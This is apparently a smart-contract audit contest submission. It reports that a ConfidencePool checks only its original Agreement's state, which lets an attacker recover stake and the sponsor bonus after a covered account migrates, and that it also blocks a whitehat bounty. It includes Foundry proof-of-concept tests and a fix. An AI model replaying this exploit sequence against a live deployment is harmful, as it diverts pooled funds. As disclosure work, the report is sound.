FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Stale original-Agreement state prevents CORRUPTED settlement and returns the entire pool to stakers

Author Revealed upon completion

Description

A ConfidencePool publishes and permanently locks a pool-local account scope. The protocol specification states that this locked scope remains the binding coverage commitment after the underlying Safe Harbor Agreement is narrowed, and the moderator uses that commitment to decide whether a corruption was in scope.

The pool does not use its locked accounts when validating a CORRUPTED outcome. It permanently reads the state of the Agreement supplied during initialization and rejects both good- and bad-faith CORRUPTED unless that original Agreement itself reports CORRUPTED.

The relevant in-scope code is:

function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
// @> This observes only the immutable original Agreement.
IAttackRegistry.ContractState state = _observePoolState();
if (newOutcome == PoolStates.Outcome.SURVIVED) {
if (goodFaith_ || attacker_ != address(0)) {
revert InvalidGoodFaithParams();
}
if (state != IAttackRegistry.ContractState.PRODUCTION && state != IAttackRegistry.ContractState.CORRUPTED) {
revert InvalidOutcome();
}
} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
if (!goodFaith_) {
if (attacker_ != address(0)) revert InvalidGoodFaithParams();
} else {
if (attacker_ == address(0)) revert InvalidGoodFaithParams();
}
// @> The moderator cannot flag a current locked-scope corruption when only
// the replacement Agreement is CORRUPTED.
if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
} else {
revert InvalidOutcome();
}
bool willBeGoodFaithCorrupted = newOutcome == PoolStates.Outcome.CORRUPTED && goodFaith_;
outcome = newOutcome;
goodFaith = goodFaith_;
attacker = attacker_;
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
corruptedReserve = newOutcome == PoolStates.Outcome.CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;
bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;
if (willBeGoodFaithCorrupted) {
if (_firstGoodFaithCorruptedAt == 0) {
_firstGoodFaithCorruptedAt = uint32(block.timestamp);
}
corruptedClaimDeadline = uint32(_firstGoodFaithCorruptedAt + CORRUPTED_CLAIM_WINDOW);
} else {
corruptedClaimDeadline = 0;
}
outcomeFlaggedAt = riskWindowEnd;
emit OutcomeFlagged(msg.sender, newOutcome, goodFaith_, attacker_);
}
function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
if (attackRegistry == address(0)) revert InvalidAgreement();
// @> `agreement` never changes and no locked account's current Binding Agreement is read.
return IAttackRegistry(attackRegistry).getAgreementState(agreement);
}

The expiry backstop repeats the same stale lookup. An original Agreement that remains UNDER_ATTACK is treated as EXPIRED even when a locked account is already CORRUPTED under its replacement Agreement:

if (outcome == PoolStates.Outcome.UNRESOLVED) {
// @> Again, only the original Agreement is observed.
IAttackRegistry.ContractState state = _observePoolState();
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}
if (state == IAttackRegistry.ContractState.PRODUCTION) {
outcome = PoolStates.Outcome.SURVIVED;
outcomeFlaggedAt = riskWindowEnd;
emit OutcomeFlagged(address(0), PoolStates.Outcome.SURVIVED, false, address(0));
} else {
// @> Original Agreement A remains UNDER_ATTACK, so the pool resolves EXPIRED
// without considering that locked account X is CORRUPTED under Agreement B.
outcome = PoolStates.Outcome.EXPIRED;
outcomeFlaggedAt = expiry;
emit OutcomeFlagged(address(0), PoolStates.Outcome.EXPIRED, false, address(0));
}
claimsStarted = true;
}

The intended CORRUPTED destinations are explicit in the pool:

function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
uint256 toSweep = stakeToken.balanceOf(address(this));
if (toSweep == 0) revert NothingToSweep();
corruptedReserve = toSweep <= corruptedReserve ? corruptedReserve - toSweep : 0;
if (!goodFaith) {
bountyClaimed = bountyEntitlement;
}
if (!claimsStarted) claimsStarted = true;
// @> Bad-faith CORRUPTED must send the entire balance to recovery.
stakeToken.safeTransfer(recoveryAddress, toSweep);
emit ClaimCorrupted(msg.sender, recoveryAddress, toSweep);
}
function claimAttackerBounty() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (bountyClaimed == bountyEntitlement) revert BountyAlreadyClaimed();
if (!goodFaith) revert InvalidGoodFaithParams();
if (msg.sender != attacker) revert NotAttacker();
if (block.timestamp > corruptedClaimDeadline) revert ClaimWindowExpired();
uint256 remaining = bountyEntitlement - bountyClaimed;
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 payout = remaining <= freeBalance ? remaining : freeBalance;
uint256 newBountyClaimed = bountyClaimed + payout;
bountyClaimed = newBountyClaimed;
if (payout > 0) {
corruptedReserve -= payout;
if (!claimsStarted) claimsStarted = true;
// @> Good-faith CORRUPTED must send the full entitlement to the named whitehat.
stakeToken.safeTransfer(attacker, payout);
}
emit AttackerBountyClaimed(attacker, payout, newBountyClaimed, bountyEntitlement);
}

This state divergence is reachable through the supported dependency lifecycle. After the Agreement commitment expires, removing an account synchronously clears its current binding:

function unregisterContractForExistingAgreement(address contractAddress) external {
if (!s_agreementFactory.isAgreementContract(msg.sender)) {
revert AttackRegistry__InvalidAgreement(msg.sender);
}
if (!s_agreementInfo[msg.sender].isRegistered) return;
if (s_contractToAgreement[contractAddress] != msg.sender) return;
// @> The account becomes unbound even though the old Agreement remains UNDER_ATTACK.
delete s_contractToAgreement[contractAddress];
emit ContractUnregistered(contractAddress, msg.sender);
}

The account can then be authorized and registered under Agreement B. Agreement B may become CORRUPTED while Agreement A remains independently UNDER_ATTACK.

The factory permits this window because it enforces a pool expiry of at least 30 days but never requires the expiry to remain within the Agreement's commitment. The pinned AttackRegistry requires only a seven-day commitment for Agreement registration.

The resulting exploit is:

  1. Agreement A contains X and Y and becomes UNDER_ATTACK.

  2. A 31-day pool locks X as its pool-local scope and receives a 100-token bonus.

  3. Agreement A's seven-day commitment expires while the pool remains live.

  4. A legitimate successor Agreement operator removes X from A. The dependency clears X -> A; Y keeps A active.

  5. X is authorized and registered under Agreement B, and the registry moderator approves B.

  6. An attacker stakes 100 tokens in the stale pool. The deposit succeeds because the pool still reads A as UNDER_ATTACK.

  7. The attacker corrupts X and B's attack moderator records B as CORRUPTED.

  8. The pool moderator attempts to flag bad-faith CORRUPTED, but flagOutcome reverts because A is not CORRUPTED.

  9. At expiry, the stale A state selects EXPIRED. The attacker receives 100 principal plus the entire 100-token bonus; recoveryAddress receives zero.

The same root also blocks good-faith CORRUPTED. The moderator cannot name the whitehat, so the entire stake-plus-bonus bounty is paid to stakers instead of the whitehat.

Risk

Likelihood: Medium

  • This occurs during the supported migration of a locked-scope account after the original Agreement's commitment expires and before the ConfidencePool expires.

  • The configuration is naturally reachable: pools require at least a 30-day expiry lead, while the pinned AttackRegistry accepts a seven-day Agreement commitment.

  • A replacement Agreement requires normal authorization, bond/commitment, and registry-moderator approval. These are legitimate lifecycle operations rather than malicious owner or registry behavior, but they make exploitation conditional rather than immediate.

  • Once migration completes, an unprivileged attacker can enter the stale pool while Agreement A remains UNDER_ATTACK. Pausing only prevents later deposits; it does not repair existing positions or restore the good-faith bounty path.

Impact: High

  • A sole bad-faith attacker receives the entire affected pool: the principal that should be forfeited plus all sponsor-funded bonus. The PoC transfers 200 tokens to the attacker and zero to recoveryAddress.

  • A good-faith whitehat cannot be named for the pool bounty. The full snapshotTotalStaked + snapshotTotalBonus entitlement is instead paid to stakers.

  • Every unresolved clone using the same original Agreement and migrated locked-scope account is affected independently.

Overall severity is Medium because the full-pool impact requires the supported but conditional migration and replacement-Agreement approval lifecycle.

Proof of Concept

Two local tests are provided because the contest code and the pinned dependency use incompatible exact compiler versions:

  • The primary Solidity 0.8.26 test exercises the real UUPS factory, deterministic clone, standard fixed-supply ERC20, pool accounting, moderator failure, and terminal token balances. Its dependency model enforces the exact relevant access controls and transitions.

  • The Solidity 0.8.34 dependency-native test proves the same removal, unbinding, distinct-owner authorization, rebinding, approval, and corruption sequence using the real pinned AgreementFactory, Agreement, and AttackRegistry.

Test 1 — in-scope pool exploit and fund impact

From the contest repository root, create or replace:

test/audit/ConfidencePoolLockedScopeRebinding.poc.t.sol

with:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
/// @dev A fixed-supply, no-fee, non-rebasing OpenZeppelin ERC20.
contract RebindingPoCToken is ERC20 {
constructor() ERC20("Rebinding PoC Token", "RPT") {
_mint(msg.sender, 1_000_000e18);
}
}
/// @dev Access-controlled model of the exact pinned AttackRegistry behavior needed by the
/// in-scope pool. The separate dependency-native test proves the same transition against the
/// real AgreementFactory, Agreement, and AttackRegistry contracts at the pinned commit.
contract RebindingAttackRegistryModel {
error NotRegistryModerator();
error InvalidAgreement();
error InvalidState();
error Unauthorized();
error InsufficientCommitment();
error ContractAlreadyBound();
uint256 internal constant MIN_COMMITMENT = 7 days;
address public immutable registryModerator;
mapping(address agreement => bool valid) public isAgreement;
mapping(address agreement => IAttackRegistry.ContractState state) internal _state;
mapping(address agreement => address moderator) public attackModerator;
mapping(address account => address agreement) internal _binding;
mapping(address account => address owner) public authorizedOwner;
constructor(address registryModerator_) {
registryModerator = registryModerator_;
}
modifier onlyRegistryModerator() {
if (msg.sender != registryModerator) revert NotRegistryModerator();
_;
}
function registerAgreement(address agreement) external onlyRegistryModerator {
isAgreement[agreement] = true;
}
function registerDeployment(address account, address owner) external onlyRegistryModerator {
authorizedOwner[account] = owner;
}
function authorizeAgreementOwner(address account, address newOwner) external {
if (msg.sender != authorizedOwner[account]) revert Unauthorized();
authorizedOwner[account] = newOwner;
}
/// @dev Called by a registered Agreement, mirroring requestUnderAttack for verified accounts.
function requestUnderAttack(address[] calldata accounts) external {
if (!isAgreement[msg.sender]) revert InvalidAgreement();
if (_state[msg.sender] != IAttackRegistry.ContractState.NOT_DEPLOYED) revert InvalidState();
address agreementOwner = IAgreement(msg.sender).owner();
if (IAgreement(msg.sender).getCantChangeUntil() < block.timestamp + MIN_COMMITMENT) {
revert InsufficientCommitment();
}
for (uint256 i; i < accounts.length; ++i) {
address account = accounts[i];
if (authorizedOwner[account] != agreementOwner) revert Unauthorized();
if (_binding[account] != address(0)) revert ContractAlreadyBound();
_binding[account] = msg.sender;
}
attackModerator[msg.sender] = agreementOwner;
_state[msg.sender] = IAttackRegistry.ContractState.ATTACK_REQUESTED;
}
function approveAttack(address agreement) external onlyRegistryModerator {
if (_state[agreement] != IAttackRegistry.ContractState.ATTACK_REQUESTED) revert InvalidState();
_state[agreement] = IAttackRegistry.ContractState.UNDER_ATTACK;
}
function markCorrupted(address agreement) external {
if (msg.sender != attackModerator[agreement]) revert Unauthorized();
IAttackRegistry.ContractState state = _state[agreement];
if (
state != IAttackRegistry.ContractState.UNDER_ATTACK
&& state != IAttackRegistry.ContractState.PROMOTION_REQUESTED
) {
revert InvalidState();
}
_state[agreement] = IAttackRegistry.ContractState.CORRUPTED;
}
/// @dev Called synchronously by an Agreement when its owner removes an account.
function unregisterContractForExistingAgreement(address account) external {
if (!isAgreement[msg.sender]) revert InvalidAgreement();
if (_binding[account] == msg.sender) {
delete _binding[account];
}
}
function getAgreementState(address agreement) external view returns (IAttackRegistry.ContractState) {
return _state[agreement];
}
function getAgreementForContract(address account) external view returns (address) {
return _binding[account];
}
}
/// @dev Access-controlled Agreement model. It enforces the dependency's one-way commitment,
/// two-step ownership handoff, non-empty scope, synchronous unregistration, and owner-only attack
/// registration.
contract RebindingLifecycleAgreement {
error NotOwner();
error CommitmentActive();
error AccountNotInScope();
error CannotRemoveAllAccounts();
error CannotShortenCommitment();
RebindingAttackRegistryModel public immutable attackRegistry;
address public owner;
address public pendingOwner;
uint256 internal _cantChangeUntil;
address[] internal _scope;
mapping(address account => bool inScope) internal _inScope;
constructor(
RebindingAttackRegistryModel attackRegistry_,
address owner_,
uint256 cantChangeUntil_,
address[] memory accounts
) {
attackRegistry = attackRegistry_;
owner = owner_;
_cantChangeUntil = cantChangeUntil_;
for (uint256 i; i < accounts.length; ++i) {
_scope.push(accounts[i]);
_inScope[accounts[i]] = true;
}
}
modifier onlyOwner() {
if (msg.sender != owner) revert NotOwner();
_;
}
function requestUnderAttack() external onlyOwner {
attackRegistry.requestUnderAttack(_scope);
}
function extendCommitmentWindow(uint256 newCantChangeUntil) external onlyOwner {
if (newCantChangeUntil <= _cantChangeUntil) revert CannotShortenCommitment();
_cantChangeUntil = newCantChangeUntil;
}
function removeContractFromScope(address account) external onlyOwner {
if (block.timestamp < _cantChangeUntil) revert CommitmentActive();
if (!_inScope[account]) revert AccountNotInScope();
if (_scope.length == 1) revert CannotRemoveAllAccounts();
for (uint256 i; i < _scope.length; ++i) {
if (_scope[i] == account) {
_scope[i] = _scope[_scope.length - 1];
_scope.pop();
break;
}
}
_inScope[account] = false;
attackRegistry.unregisterContractForExistingAgreement(account);
}
function transferOwnership(address newOwner) external onlyOwner {
pendingOwner = newOwner;
}
function acceptOwnership() external {
if (msg.sender != pendingOwner) revert NotOwner();
owner = pendingOwner;
pendingOwner = address(0);
}
function isContractInScope(address account) external view returns (bool) {
return _inScope[account];
}
function getCantChangeUntil() external view returns (uint256) {
return _cantChangeUntil;
}
function getScope() external view returns (address[] memory) {
return _scope;
}
}
contract ConfidencePoolLockedScopeRebindingPoC is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
address internal constant COVERED_ACCOUNT = address(0xC0FFEE);
address internal constant REMAINING_OLD_ACCOUNT = address(0xBEEF);
address internal sponsor = makeAddr("sponsor");
address internal successorOperator = makeAddr("successorOperator");
address internal registryModerator = makeAddr("registryModerator");
address internal poolModerator = makeAddr("poolModerator");
address internal recovery = makeAddr("recovery");
address internal attacker = makeAddr("attacker");
RebindingPoCToken internal token;
RebindingAttackRegistryModel internal attackRegistry;
RebindingLifecycleAgreement internal oldAgreement;
RebindingLifecycleAgreement internal newAgreement;
MockSafeHarborRegistry internal safeHarborRegistry;
ConfidencePool internal pool;
function setUp() external {
vm.warp(BASE_TIMESTAMP);
token = new RebindingPoCToken();
attackRegistry = new RebindingAttackRegistryModel(registryModerator);
address[] memory oldScope = new address[](2);
oldScope[0] = COVERED_ACCOUNT;
oldScope[1] = REMAINING_OLD_ACCOUNT;
oldAgreement = new RebindingLifecycleAgreement(attackRegistry, sponsor, block.timestamp + 7 days, oldScope);
address[] memory newScope = new address[](2);
newScope[0] = COVERED_ACCOUNT;
newScope[1] = address(0xCAFE);
newAgreement =
new RebindingLifecycleAgreement(attackRegistry, successorOperator, block.timestamp + 40 days, newScope);
vm.startPrank(registryModerator);
attackRegistry.registerAgreement(address(oldAgreement));
attackRegistry.registerAgreement(address(newAgreement));
attackRegistry.registerDeployment(COVERED_ACCOUNT, sponsor);
attackRegistry.registerDeployment(REMAINING_OLD_ACCOUNT, sponsor);
attackRegistry.registerDeployment(address(0xCAFE), successorOperator);
vm.stopPrank();
vm.prank(sponsor);
oldAgreement.requestUnderAttack();
safeHarborRegistry = new MockSafeHarborRegistry();
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(oldAgreement), true);
safeHarborRegistry.setAgreementValid(address(newAgreement), true);
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(poolImplementation), poolModerator)
)
)
)
);
factory.setStakeTokenAllowed(address(token), true);
address[] memory poolScope = new address[](1);
poolScope[0] = COVERED_ACCOUNT;
vm.prank(sponsor);
pool = ConfidencePool(
factory.createPool(
address(oldAgreement), address(token), block.timestamp + 31 days, ONE, recovery, poolScope
)
);
}
function _fundAndApprove(address actor, uint256 amount) internal {
token.transfer(actor, amount);
vm.prank(actor);
token.approve(address(pool), amount);
}
function _contributeBonus(uint256 amount) internal {
_fundAndApprove(sponsor, amount);
vm.prank(sponsor);
pool.contributeBonus(amount);
}
function _stake(address staker, uint256 amount) internal {
_fundAndApprove(staker, amount);
vm.prank(staker);
pool.stake(amount);
}
function _migrateCoveredAccountToApprovedAgreementB() internal {
// Agreement A enters its ordinary active-risk state, which opens the pool's risk window.
vm.prank(registryModerator);
attackRegistry.approveAttack(address(oldAgreement));
vm.warp(BASE_TIMESTAMP + 1 days);
pool.pokeRiskWindow();
// Agreement ownership moves independently of pool ownership. The successor later performs
// the supported narrowing, so the pool sponsor is not relied upon as a malicious actor.
vm.prank(sponsor);
oldAgreement.transferOwnership(successorOperator);
vm.prank(successorOperator);
oldAgreement.acceptOwnership();
// Once A's commitment expires, removing X synchronously clears the Binding Agreement.
vm.warp(BASE_TIMESTAMP + 8 days);
vm.prank(successorOperator);
oldAgreement.removeContractFromScope(COVERED_ACCOUNT);
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(0));
// The current authorized owner hands X to B's owner. B then follows the normal verified
// request + registry-moderator approval path and becomes the Binding Agreement for X.
vm.prank(sponsor);
attackRegistry.authorizeAgreementOwner(COVERED_ACCOUNT, successorOperator);
vm.prank(successorOperator);
newAgreement.requestUnderAttack();
vm.prank(registryModerator);
attackRegistry.approveAttack(address(newAgreement));
assertEq(attackRegistry.getAgreementForContract(COVERED_ACCOUNT), address(newAgreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(oldAgreement))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
assertEq(
uint256(attackRegistry.getAgreementState(address(newAgreement))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
assertTrue(pool.scopeLocked());
assertTrue(pool.isAccountInScope(COVERED_ACCOUNT));
assertFalse(oldAgreement.isContractInScope(COVERED_ACCOUNT));
assertTrue(newAgreement.isContractInScope(COVERED_ACCOUNT));
}
function _markAgreementBCorrupted() internal {
// This models the replacement Agreement's attack moderator recording a real corruption
// caused by the attacker against X. The covered-contract exploit itself is outside scope.
vm.prank(successorOperator);
attackRegistry.markCorrupted(address(newAgreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(newAgreement))),
uint256(IAttackRegistry.ContractState.CORRUPTED)
);
}
function testPoC_BadFaithCorruptionAfterRebindingReturnsEntirePoolToAttacker() external {
// The sponsor advertises a 100-token survival bonus. ATTACK_REQUESTED observation locks
// the pool's published X scope before any later Agreement migration.
_contributeBonus(100 * ONE);
assertTrue(pool.scopeLocked());
_migrateCoveredAccountToApprovedAgreementB();
// An ordinary attacker enters the stale pool after migration. stake() checks only A,
// which remains UNDER_ATTACK, so the position is accepted.
_stake(attacker, 100 * ONE);
_markAgreementBCorrupted();
// The trusted pool moderator has the correct scope judgment, but CORRUPTED is impossible
// because flagOutcome checks only A's state.
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
// At expiry A is still UNDER_ATTACK, so claimExpired incorrectly chooses EXPIRED. The
// attacker recovers the stake that should be swept and receives the entire sponsor bonus.
vm.warp(pool.expiry());
uint256 attackerBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(token.balanceOf(attacker) - attackerBefore, 200 * ONE);
assertEq(token.balanceOf(recovery), 0);
assertEq(token.balanceOf(address(pool)), 0);
}
function testPoC_GoodFaithCorruptionAfterRebindingDeniesWhitehatBounty() external {
address honestStaker = makeAddr("honestStaker");
address whitehat = makeAddr("whitehat");
_contributeBonus(100 * ONE);
_stake(honestStaker, 100 * ONE);
_migrateCoveredAccountToApprovedAgreementB();
_markAgreementBCorrupted();
// The same stale gate prevents naming the whitehat for the full-pool bounty.
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.warp(pool.expiry());
vm.prank(honestStaker);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(token.balanceOf(honestStaker), 200 * ONE);
assertEq(token.balanceOf(whitehat), 0);
assertEq(token.balanceOf(recovery), 0);
assertEq(token.balanceOf(address(pool)), 0);
}
}

Run:

forge test --match-path 'test/audit/ConfidencePoolLockedScopeRebinding.poc.t.sol' -vv

Expected output:

Ran 2 tests for test/audit/ConfidencePoolLockedScopeRebinding.poc.t.sol:ConfidencePoolLockedScopeRebindingPoC
[PASS] testPoC_BadFaithCorruptionAfterRebindingReturnsEntirePoolToAttacker()
[PASS] testPoC_GoodFaithCorruptionAfterRebindingDeniesWhitehatBounty()
Suite result: ok. 2 passed; 0 failed; 0 skipped

Test 2 — exact pinned-dependency reachability

Create:

lib/battlechain-safe-harbor-contracts/test/DependencyRebindingReachability.audit.t.sol

with:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
import { AttackRegistryTest } from "test/unit/AttackRegistryTest.t.sol";
import { Agreement } from "src/Agreement.sol";
import { IAttackRegistry } from "src/interface/IAttackRegistry.sol";
contract DependencyRebindingReachabilityAuditTest is AttackRegistryTest {
function testExactActiveAgreementRemovalAndReplacementCorruption() public {
address successor = makeAddr("successor");
_fundAndApprove(successor, 1_000_000e18);
uint256 livePoolExpiry = block.timestamp + 60 days;
address covered = _deployContractViaBattleChain(protocolDeployer, bytes32(uint256(1)));
address remaining = _deployContractViaBattleChain(protocolDeployer, bytes32(uint256(2)));
address[] memory oldScope = new address[](2);
oldScope[0] = covered;
oldScope[1] = remaining;
Agreement oldAgreement = _createAgreementWithContracts(protocolDeployer, oldScope);
vm.prank(protocolDeployer);
attackRegistry.requestUnderAttack(address(oldAgreement));
vm.prank(registryModerator);
attackRegistry.approveAttack(address(oldAgreement));
// Agreement ownership moves independently from the already-created ConfidencePool owner.
// The successor, not the original sponsor, performs the later supported migration.
vm.prank(protocolDeployer);
oldAgreement.transferOwnership(successor);
vm.prank(successor);
oldAgreement.acceptOwnership();
assertEq(oldAgreement.owner(), successor);
vm.warp(block.timestamp + 31 days);
assertLt(block.timestamp, livePoolExpiry, "the supported migration occurs while a longer pool remains live");
string[] memory removed = new string[](1);
removed[0] = _addressToString(covered);
vm.prank(successor);
oldAgreement.removeAccounts(battleChainCaip2, removed);
assertFalse(oldAgreement.isContractInScope(covered));
assertTrue(oldAgreement.isContractInScope(remaining));
assertEq(attackRegistry.getAgreementForContract(covered), address(0));
assertEq(attackRegistry.getAgreementForContract(remaining), address(oldAgreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(oldAgreement))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
vm.prank(protocolDeployer);
attackRegistry.authorizeAgreementOwner(covered, successor);
address[] memory replacementScope = new address[](1);
replacementScope[0] = covered;
Agreement replacementAgreement = _createAgreementWithContracts(successor, replacementScope);
assertTrue(replacementAgreement.isContractInScope(covered));
vm.prank(successor);
attackRegistry.requestUnderAttack(address(replacementAgreement));
vm.prank(registryModerator);
attackRegistry.approveAttack(address(replacementAgreement));
vm.prank(successor);
attackRegistry.markCorrupted(address(replacementAgreement));
assertEq(attackRegistry.getAgreementForContract(covered), address(replacementAgreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(oldAgreement))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
assertEq(
uint256(attackRegistry.getAgreementState(address(replacementAgreement))),
uint256(IAttackRegistry.ContractState.CORRUPTED)
);
}
}

Run from the contest repository root:

cd lib/battlechain-safe-harbor-contracts
forge test \
--match-path 'test/DependencyRebindingReachability.audit.t.sol' \
--match-test testExactActiveAgreementRemovalAndReplacementCorruption \
-vv

Expected output:

Ran 1 test for test/DependencyRebindingReachability.audit.t.sol:DependencyRebindingReachabilityAuditTest
[PASS] testExactActiveAgreementRemovalAndReplacementCorruption()
Suite result: ok. 1 passed; 0 failed; 0 skipped

No fork or RPC endpoint is required.

Recommended Mitigation

Prevent a pool from outliving the period during which the original Agreement's scope cannot narrow. The Agreement commitment can only be extended, so this keeps every locked pool account bound to the original Agreement throughout the pool term.

Apply the validation in ConfidencePool.initialize and every pre-stake setExpiry update:

+ error ExpiryBeyondAgreementCommitment(uint256 expiry, uint256 cantChangeUntil);
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
if (agreement_ == address(0)) revert ZeroAddress();
if (stakeToken_ == address(0)) revert ZeroAddress();
if (safeHarborRegistry_ == address(0)) revert ZeroAddress();
if (outcomeModerator_ == address(0)) revert ZeroAddress();
if (owner_ == address(0)) revert ZeroAddress();
if (recoveryAddress_ == address(0)) revert InvalidRecoveryAddress();
if (expiry_ < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (expiry_ > type(uint32).max) revert ExpiryTooFar();
if (minStake_ == 0) revert InvalidAmount();
if (!IBattleChainSafeHarborRegistry(safeHarborRegistry_).isAgreementValid(agreement_)) {
revert InvalidAgreement();
}
+ uint256 cantChangeUntil = IAgreement(agreement_).getCantChangeUntil();
+ if (expiry_ > cantChangeUntil) {
+ revert ExpiryBeyondAgreementCommitment(expiry_, cantChangeUntil);
+ }
agreement = agreement_;
// ...
}
function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
if (newExpiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (newExpiry > type(uint32).max) revert ExpiryTooFar();
+ uint256 cantChangeUntil = IAgreement(agreement).getCantChangeUntil();
+ if (newExpiry > cantChangeUntil) {
+ revert ExpiryBeyondAgreementCommitment(newExpiry, cantChangeUntil);
+ }
uint256 oldExpiry = expiry;
expiry = uint32(newExpiry);
emit ExpiryUpdated(oldExpiry, newExpiry);
}

The factory may repeat the same check for an earlier and clearer createPool revert, but the clone must enforce it because setExpiry can change the term before the first stake.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!